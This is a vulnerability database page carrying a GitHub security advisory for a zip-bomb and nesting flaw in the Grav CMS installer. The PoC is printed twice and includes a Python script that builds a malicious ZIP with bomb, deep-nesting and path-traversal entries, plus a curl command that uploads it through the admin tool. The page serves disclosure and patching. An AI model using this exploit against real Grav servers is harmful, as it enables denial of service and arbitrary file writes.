GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2VCX-H8P2-9PG9

Vulnerability from github – Published: 2026-09-16 22:12 – Updated: 2026-09-16 22:12
VLAI
Summary
Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()
Details

Summary

An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.

Details

The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.

Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in Folder::doDelete() — CWE-674)

The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.

The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits.

PoC

  1. Generate the malicious ZIP:

python3 cve_poc_grav_zip.py:

#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.

Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""

import zipfile, os, sys

OUT = "/tmp/cve_poc_grav.zip"

def build():
    with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
        # --- Zip Slip: arbitrary write outside target ---
        z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")

        # --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
        for i in range(100):
            z.writestr(f"deep/{'x/' * i}.keep", "")

        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
        for i in range(100):
            z.writestr(f"bomb/{i}.dat", b"A" * 100_000)

    with zipfile.ZipFile(OUT) as z:
        infos = z.infolist()
        compressed = os.path.getsize(OUT)
        uncompressed = sum(e.file_size for e in infos)
        slip = any(".." in e.filename for e in infos)
        depths = [e.filename.count('/') for e in infos]

    print("=" * 60)
    print("CVE PoC — Grav CMS Installer::unZip()")
    print("Zip Bomb | Zip Slip | Deep Nesting")
    print("=" * 60)
    print(f"File           : {OUT}")
    print(f"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)")
    print(f"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
    print(f"Ratio          : {uncompressed/compressed:.0f}:1")
    print(f"Entries        : {len(infos)}")
    print(f"Max depth      : {max(depths) if depths else 0}")
    print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
    print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
    print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
    build()
  1. Authenticate as admin.super and retrieve the nonce from /admin

  2. Upload through Direct Install:

   curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
     -H 'Cookie: grav-admin=<SESSION>' \
     -F 'admin-nonce=<NONCE>' \
     -F 'uploaded_file=@/tmp/cve_poc_grav.zip'

Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.

Impact

An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:12:10Z",
    "nvd_published_at": "2026-07-10T17:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.\n### Details\nThe vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.\n\nMissing validation:\n- \u274c No total uncompressed size check (decompression bomb \u2014 CWE-409)\n- \u274c No entry count check (inode exhaustion)\n- \u274c No directory nesting depth check (stack overflow in `Folder::doDelete()` \u2014 CWE-674)\n\nThe subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP\u0027s maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.\n\nThe existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.\n### PoC\n1. Generate the malicious ZIP:\n\n   python3 cve_poc_grav_zip.py:\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE PoC \u2014 Grav CMS Installer::unZip()\nZip Bomb + Zip Slip + Deep Nesting\nZIP file to attach to the CVE advisory.\n\nNote: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)\nwhich has NO CVE \u2014 extracted size/depth/count have no limits.\n\"\"\"\n\nimport zipfile, os, sys\n\nOUT = \"/tmp/cve_poc_grav.zip\"\n\ndef build():\n    with zipfile.ZipFile(OUT, \u0027w\u0027, zipfile.ZIP_DEFLATED) as z:\n        # --- Zip Slip: arbitrary write outside target ---\n        z.writestr(\"../../../tmp/CVE_POC_SLIP\", \"ZIP SLIP: writes outside target\\n\")\n\n        # --- Deep nesting: 100 levels \u2192 Folder::delete() has no depth limit ---\n        for i in range(100):\n            z.writestr(f\"deep/{\u0027x/\u0027 * i}.keep\", \"\")\n\n        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---\n        for i in range(100):\n            z.writestr(f\"bomb/{i}.dat\", b\"A\" * 100_000)\n\n    with zipfile.ZipFile(OUT) as z:\n        infos = z.infolist()\n        compressed = os.path.getsize(OUT)\n        uncompressed = sum(e.file_size for e in infos)\n        slip = any(\"..\" in e.filename for e in infos)\n        depths = [e.filename.count(\u0027/\u0027) for e in infos]\n\n    print(\"=\" * 60)\n    print(\"CVE PoC \u2014 Grav CMS Installer::unZip()\")\n    print(\"Zip Bomb | Zip Slip | Deep Nesting\")\n    print(\"=\" * 60)\n    print(f\"File           : {OUT}\")\n    print(f\"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)\")\n    print(f\"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)\")\n    print(f\"Ratio          : {uncompressed/compressed:.0f}:1\")\n    print(f\"Entries        : {len(infos)}\")\n    print(f\"Max depth      : {max(depths) if depths else 0}\")\n    print(f\"Zip Slip (../) : {\u0027YES\u0027 if slip else \u0027NO\u0027}\")\n    print(f\"\\nUpload via Grav Admin \u2192 /admin/tools/direct-install?task=directInstall\")\n    print(f\"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write\")\nif __name__ == \"__main__\":\n    build()\n```\n\n3. Authenticate as admin.super and retrieve the nonce from /admin\n\n4. Upload through Direct Install:\n```\n   curl -X POST \u0027https://target/admin/tools/direct-install?task=directInstall\u0027 \\\n     -H \u0027Cookie: grav-admin=\u003cSESSION\u003e\u0027 \\\n     -F \u0027admin-nonce=\u003cNONCE\u003e\u0027 \\\n     -F \u0027uploaded_file=@/tmp/cve_poc_grav.zip\u0027\n```\nResult: server extracts all entries (9.5 MB \u2192 200 files + 100 nesting levels). The cleanup crashes with \"Maximum function nesting level reached\" due to 100-level deep recursion.\n### Impact\n\nAn authenticated administrator (admin.super) can:\n- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)\n- Exhaust inodes via thousands of small files\n- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently\n- Partially or fully deny service to all users (both authenticated and unauthenticated)",
  "id": "GHSA-2vcx-h8p2-9pg9",
  "modified": "2026-09-16T22:12:10Z",
  "published": "2026-09-16T22:12:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2vcx-h8p2-9pg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav CMS \u2014 Improper Handling of Highly Compressed Data in Installer::unZip()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…